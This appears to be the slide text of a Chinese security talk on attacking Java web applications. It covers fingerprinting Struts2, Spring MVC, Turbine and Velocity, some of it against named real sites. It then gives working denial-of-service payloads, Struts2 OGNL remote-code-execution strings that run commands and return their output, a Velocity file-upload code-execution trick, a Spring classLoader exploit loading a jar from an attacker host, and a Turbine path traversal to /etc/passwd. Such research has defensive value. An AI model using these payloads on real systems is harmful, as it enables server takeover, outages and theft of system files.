攻击JAVA WEB 阿里巴巴集团安全中心 周拓
个人介绍 周拓 阿里巴巴集团安全中心 网名:空虚浪子心、kxlzx QQ:4700012 (&EMAIL) 个人BLOG:http://www.inbreak.net 微博:http://t.qq.com/javasecurity
适合听众 实战派攻击技术爱好者 WEB安全攻城狮 JAVA开发 安全扫描工具开发人员 理论派研究人员 默认大家已经掌握一些相关基础技术
JAVA WEB JSP Servlet
JAVA WEB J2EE 处理用户请求框架 J2EE ORM框架 J2EE 展示层框架 AJAX框架
JAVA WEB STRUTS2、spring mvc、turbine、JSF、DWR…etc action1 action2 USER STRUTS2、spring mvc、turbine、JSF、DWR…etc action1 action2 action3 Velocity、freemarker、JSP template1 template2
开始之前 任何攻击技术,技术本身都是有限的 不讲SQL INJECTION 不讲业务逻辑 现在,我们打开了一个JAVA网站
框架指纹的手工确认 架构师的故事 黑客的思路
默认扩展名 扩展名“*.action” 扩展名“*.do ” 扩展名“*.form ” 扩展名“*.vm” 扩展名“*.jsf ”
扩展名“*.action” 判断为struts2或webwork,得分:90% http://www.inbreak.net/index.action 官方DEMO 各种教程书籍
扩展名为“*.do” 判断为spring mvc 得分50% http://www.inbreak.net/index.do 方向性判断 官方文档 教程 还有很多其他框架(struts1等)
URL路径“/action/xxxx” 判断为struts2 得分 70% http://www.inbreak.net/action/index 官方手册 结合response的server字段
扩展名为“*.form” 看到一个表单 判断为spring mvc 得分70% 官方手册推荐 .NET偶尔也用
扩展名“*.vm” 判断为VelocityViewServlet 分值90% Velocity Velocity tools 教程 Turbine、Struts2、spring mvc都可能使用
扩展名“*.jsf ” Java Server Faces 得分99%
参数处理方式 目录 Struts2对string类型参数处理 一个参数,直接显示错误页面 spring mvc有个怪习惯
Struts2 string类型参数处理 《struts2框架安全缺陷》 《HTTP Parameter Pollution》 ?username=aaa&username=bbb <input value="aaa, bbb" name="username" type="text" /> 得分95%
一个参数,变错误页面 所有的用户定义Action都继承这个类 Action中的setter方法 ActionSupport action1
一个参数,变错误页面 ActionSupport验证逻辑
一个参数,变错误页面 ?actionErrors=aaaaaaaaaa 100%确认,struts2框架
<form:checkbox path="favorites" value="1"/>computer spring mvc有个怪习惯 spring mvc Spring tag lib checkbox <form:form> <form:checkbox path="favorites" value="1"/>computer </form:form>
spring mvc有个怪习惯 <input id="favorites1" name="favorites" type="checkbox" value="1"/><input type="hidden" name="_favorites" value="on"/>computer 90%确认,spring mvc
spring mvc有个怪习惯 EXAMPLE
默认URL处理逻辑 处理用户请求的框架 action1 action2 action3 template1 template2 url mapping USER 处理用户请求的框架 action1 action2 action3 template1 template2
turbine框架的逗号们 templates/pubinfo/infopub/businpub.html
turbine框架的逗号们 turbine/template/pubinfo,infopub,businpub.html Turbine
Struts2的叹号们 public class TestAction extends ActionSupport { public String adduser(){ return SUCCESS; }
Struts2的叹号们 http://www.inbreak.net/test.action http://xxx/test!adduser.action 分值95%
默认开发命名 /xxxController /xxxController.do /controller/xxx.htm Spring mvc 50%分值
所有框架指纹 让它出错 500错误 404错误 100%的确认框架
参数类型错误 数字,日期 变为string http://www.polyplastics.com/v/n?i=933&l=03&s=1
参数类型错误 http://www.polyplastics.com/v/n?i=933&l=03&s=1kxlzx
action=showAddPaymentPage 业务逻辑错误 https://www.cibil.com/online/manageCustomerDetails.do? action=showAddPaymentPage
Action[/XXXXX] does not contain method named YYYYY 业务逻辑错误 action=showAddPyy7aymentPage Action[/XXXXX] does not contain method named YYYYY
文件名错误 http://eoweb.dlr.de:8080/servlets/template/welcome/entryPage.vm
万能google 命名空间 google搜索“com.netease”
万能google
环境的影响 不断的招聘开发者 推荐框架、主要框架 离职可以立刻接手 加分项
可能的位置 Struts2 静态资源映射 Directory traversal vulnerability 《Struts2框架安全缺陷》 “struts”、或“static”开头
其他地方 开发人员的blog 内部论坛对外
框架指纹章节 Q&A?
有多少拒绝服务 目录 java浮点漏洞 Tomcat transfer-encoding: buffered Hash 碰撞
java浮点漏洞 网上交易
Struts2 DOS漏洞 http://www.inbreak.net/app/secTest.action?new java.lang.Double(2.2250738585072012e-308)
Struts2 DOS漏洞 new java.lang.Double(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072012)
Struts2 DOS漏洞 仅仅是技术讨论 不适合实战 直接拿CVE-2011-3923杀过去
spring mvc dos Message=${applicationScope} EL表达式 index.htm?message=${0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072012}
邪恶的JAVA HASH DOS攻击 JSON OBJECT拒绝服务 url?var={“aaaaa”:”bbbbb”,”ccccc”:”ddddd”}
DWR框架DOS攻击 C0-pram0=Object_Object:{id:reference:c0-e2, address:reference:c0-e3,………..etc..}
有多少拒绝服务章节 Q & A
鸡肋变绝杀 提高漏洞的发现率 本地变远程
name="testloadfilepath">${testloadfilepath}</result> 提高struts2自定的页面漏洞的发现率 《struts2框架安全缺陷》 Struts2的那些result类型缺陷(自定的页面) <result name="testloadfilepath">${testloadfilepath}</result>
提高struts2自定的页面漏洞的发现率 某次看到一个用户登录系统 Inputpage=xxxx.jsp Input错误处理结果 Jsp,vm…etc
Struts2 XSLT本地代码执行
velocity本地代码执行(没有报告) 上传JPG #set ($exec = "kxlzx") $exec.class.forName("java.lang.Runtime").getRuntime().exec("calc") showcase/context.vm?layout=../z.gif
Velocity远程代码执行 resin服务器 log/access.log
Velocity远程代码执行 log/access.log
鸡肋变绝杀章节 Q & A
从alert到完美和谐的shellcode 目录 (CVE-2011-3923)的局限 shellcode无法回显 回显研究1(背后的技术) 回显研究2(背后的技术) 回显研究3(感谢wofeiwo提醒)
struts2远程代码执行的局限 http://www.inbreak.net/foo.action?foo=aaaaaaaaaaaaaa public class FooAction { private String foo; public String execute() { return "success"; } public String getFoo() { return foo; public void setFoo(String foo) { this.foo = foo;
struts2远程代码执行的局限 /action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true
struts2远程代码执行的局限 Spring mvc远程代码执行POC class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/ org.apache.catalina.loader.WebappClassLoader URLs Url jarPath String
struts2远程代码执行的局限 http://www.inbreak.net/t1.action?class.classLoader.jarPath=(XXXX,@java.lang.Runtime@getRuntime().exec('calc'))(meh)&(class.classLoader.jarPath)(0)=false
回显研究1(背后的技术) 执行结果出现在输入框
回显研究1(背后的技术) (foo\u003d(@ognl.Ognl@getValue("\u0023a\u003d@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream()\u002c\u0023b\u003dnew java.io.InputStreamReader(\u0023a)\u002c\u0023c\u003dnew java.io.BufferedReader(\u0023b)\u002c\u0023d\u003d\u0023c.readLine()\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u0023d\u003d\u0023d\u002b\u0023c.readLine()"\u002c@ognl.Ognl@createDefaultContext(null)\u002c""\u002c@java.lang.String@class)))=1
回显研究1(背后的技术) 执行结果
回显研究2(背后的技术) t1!getFoo.action?foo=aaa
回显研究2(背后的技术) t1!getFoo.action public String getFoo() { return foo; } <action name="t1" class="testve.T1"> <result name="success">/T1.jsp</result> </action>
回显研究2(背后的技术) t1!getFoo.action?foo=aaa
回显研究2(背后的技术)
回显研究2(背后的技术) 只有在看到错误信息时,才可以用 不需要input Action中有一个string类型的变量
回显研究3(感谢wofeiwo提醒) (\u0023a \u003d@java.lang.Runtime@getRuntime().exec('netstat').getInputStream()\u002c\u0023b\u003dnew java.io.InputStreamReader(\u0023a)\u002c\u0023c\u003dnew java.io.BufferedReader(\u0023b)\u002c\u0023kxlzx \u003d@org.apache.struts2.ServletActionContext@getResponse().getWriter()\u002c\u0023kxlzx.println(\u0023c.readLine())\u002c\u0023kxlzx.close())=1
回显研究3 流程
回显研究3 流程 response输出流 立刻关闭 struts2的OGNL远程代码执行
写教程让那群傻X跟着做 网吧DDOS linux连接客户端,中文版被植入后门 为什么大家会下载 中文版
写教程让那群傻X跟着做 翻译 教程 傻瓜化
jboss漏洞的中文版 使用浏览器攻击JBOSS
jboss漏洞的中文版 删除jmx-console 删除web-console
jboss漏洞的中文版
jboss漏洞的中文版 所有的中文版修补方案,都没有提到
jboss漏洞的中文版
Struts2远程代码执行 Struts2远程代码执行技术(xwork2.1.2以上) Atlassian Confluence远程代码执行漏洞
Struts2远程代码执行技术(xwork2.1.2)
Struts2远程代码执行(xwork2.1.2) Result "location" parameter should evaluate %{expr} <action name="redirect" class="TestRedirectAction"> <result name="redirect" type="redirect">%{redirectUrl}</result> </action> <action name="redirect" class="TestRedirectAction"> <result name="redirect" type="redirect">${redirectUrl}</result> </action>
Struts2远程代码执行技术(xwork2.1.2) ${expr1} %{expr2} public static Object translateVariables(参数省略) { Object result = expression; for (char open : openChars) { while (true) { 。。。 String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); public static String translateVariables(String expression, ValueStack stack) { return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString(); } %{expr2}
Struts2远程代码执行( xwork2.1.2 ) SHOWCASE <action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save"> <result type="redirect">edit.action?skillName=${currentSkill.name}</result> </action>
Struts2远程代码执行(xwork2.1.2) Xwork1.0.3 ${${exp}}
Struts2远程代码执行(xwork1.0.3) url?currentSkill.name=${expr}
Atlassian Confluence远程代码执行 https://cwiki.apache.org/confluence/login.action Atlassian\Confluence\confluence\WEB-INF\lib\xwork-1.0.3.2.jar
Atlassian Confluence远程代码执行
Struts2远程代码执行技术 Q & A
预见未来
预见未来 预测 未来会出现一个远程代码执行漏洞 我现在连EXP都写好了 重要的是,现在它还没有这个漏洞
预见未来 Turbine http://www.inbreak.net/my/turbine/template/pubinfo,infopub,businpub.html http://www.inbreak.net/my/turbine/template/?template=pubinfo,infopub,businpub.html http://www.inbreak.net/my/turbine/template/?template=pubinfo,..,..,..,..,..,etc,passwd
预见未来 indexof
Indexof获取扩展名 ,..,..,..,..,..,etc,passwd.htm
我提交了一个BUG
预见未来 使用前
预见未来 使用后
预见未来 请大家一起见证
Q & A thanks